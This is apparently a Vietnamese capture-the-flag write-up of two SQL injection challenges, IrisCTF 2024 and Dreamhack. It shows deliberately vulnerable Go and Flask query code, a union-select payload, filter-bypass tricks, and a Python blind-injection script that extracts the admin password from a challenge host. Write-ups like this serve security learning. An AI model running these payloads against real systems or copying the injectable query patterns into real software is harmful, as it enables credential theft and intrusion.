{%hackmd @themes/orangeheart %} # What's My Password? (Irisctf 2024) ## About the challenge Thử thách cho chúng ta 1 ``Login Form`` như sau: ![image](https://hackmd.io/_uploads/H1aw3R8tT.png) Thử thách cũng cho ta 1 vài file như ``Database`` và câu truy vấn chính. ``` CREATE DATABASE uwu; use uwu; CREATE TABLE IF NOT EXISTS users ( username text, password text ); INSERT INTO users ( username, password ) VALUES ( "root", "IamAvEryC0olRootUsr"); INSERT INTO users ( username, password ) VALUES ( "skat", "fakeflg{fake_flag}"); INSERT INTO users ( username, password ) VALUES ( "coded", "ilovegolang42"); CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'password'; GRANT SELECT ON uwu.users TO 'readonly_user'@'%'; FLUSH PRIVILEGES; ``` Câu truy vấn chính: ``` qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password) ``` Dựa vào những dữ kiện được cung cấp thì ta có thể dễ dàng nhận thấy rằng thông tin nhạy cảm nằm trong bảng ``users`` và cột ``password`` của ``username`` có tên là ``skat``. Do đó ta chỉ cần bypass được phần truy vấn chính là xong. ## Solution Ta có thể bypass câu truy vấn này đơn giản chỉ bằng cách sử dụng kí tự ``"`` vào trước input. payload: ``" union select * from users where username=\"skat\"; -- -`` ## Script ![image](https://hackmd.io/_uploads/H10CTAUYp.png) # sql injection bypass WAF (Dreamhack) ## About the challenge Thử thách cho chúng ta 1 form để nhập ``uid`` như sau: ![image](https://hackmd.io/_uploads/Sy4rR0Ltp.png) Thử thách cho ta 1 file ``Database``. Nếu nhìn vào bảng và các câu truy vấn do người dùng tạo, bạn có thể thấy mật khẩu của tài khoản quản trị viên là ``FLAG``. Các cột trong bảng sử dụng ``idx``, ``uid`` và ``upw`` và bảng được định cấu hình để giá trị ``idx`` tự động tăng thêm 1. ``` CREATE DATABASE IF NOT EXISTS `users`; GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass'; USE `users`; CREATE TABLE user( idx int auto_increment primary key, uid varchar(128) not null, upw varchar(128) not null ); INSERT INTO user(uid, upw) values('abcde', '12345'); INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}'); INSERT INTO user(uid, upw) values('guest', 'guest'); INSERT INTO user(uid, upw) values('test', 'test'); INSERT INTO user(uid, upw) values('dream', 'hack'); FLUSH PRIVILEGES; ``` Tiếp theo là file hệ thống. Nhìn vào mã ``app.py``, ``uid`` là đầu vào từ người dùng và việc lọc như kết hợp, chọn, từ, v.v. được thực hiện thông qua hàm ``check_WAF()``. Sau đó, truy vấn ``SELECT`` được thực thi và trả về kết quả. ``` import os from flask import Flask, request from flask_mysqldb import MySQL app = Flask(__name__) app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost') app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user') app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass') app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users') mysql = MySQL(app) template =''' <pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/> <pre>{result}</pre><hr/> <form> <input tyupe='text' name='uid' placeholder='uid'> <input type='submit' value='submit'> </form> ''' keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/'] def check_WAF(data): for keyword in keywords: if keyword in data: return True return False @app.route('/', methods=['POST', 'GET']) def index(): uid = request.args.get('uid') if uid: if check_WAF(uid): return 'your request has been blocked by WAF.' cur = mysql.connection.cursor() cur.execute(f"SELECT * FROM user WHERE uid='{uid}';") result = cur.fetchone() if result: return template.format(uid=uid, result=result[1]) else: return template.format(uid=uid, result='') else: return template if __name__ == '__main__': app.run(host='0.0.0.0') ``` ## Solution Để bypass được hàm ``check_WAF()`` tôi sử dụng các kí tự thay thế như sau: ``` or => || admin => reverse("nimda") and => && ``` Tiếp theo, tôi khởi tạo 1 payload để bypass qua lớp filter. Ở đây, tôi thực hiện so sánh nếu kí tự đầu của cột ``upw`` là ``68`` tức là ``D`` thì sẽ trả về true. Lúc này trên màn hình trả về chúng ta thấy có ``admin`` xuất hiện, do đó ta có thể dựa vào đây để so sánh từng kí tự trong chuỗi ở cột ``upw``. Điều này dựa trên lí thuyết ``Boolean based Blind SQL Injection`` ``` '||uid=reverse("nimda")&&if(ascii(substr(upw,1,1))=68,true,false)# ``` ![image](https://hackmd.io/_uploads/SyIye1Pta.png) Tiếp theo tôi sử dụng python để chạy từng kí tự trong chuỗi với khoảng ``50`` kí tự và trong khoảng ``32->128`` trong bảng mã ascii. ![image](https://hackmd.io/_uploads/HkOse1PYT.png) ## Script ``` import requests flag = "" for i in range(1,50): for j in range(32, 128): url = "http://host3.dreamhack.games:23500//?uid='||uid%3Dreverse(\"nimda\")%26%26if(ascii(substr(upw%2C{}%2C1))%3D{}%2Ctrue%2Cfalse)%23".format(i,j) res = requests.get(url) if 'admin' in res.text: flag += chr(j) print(flag) ```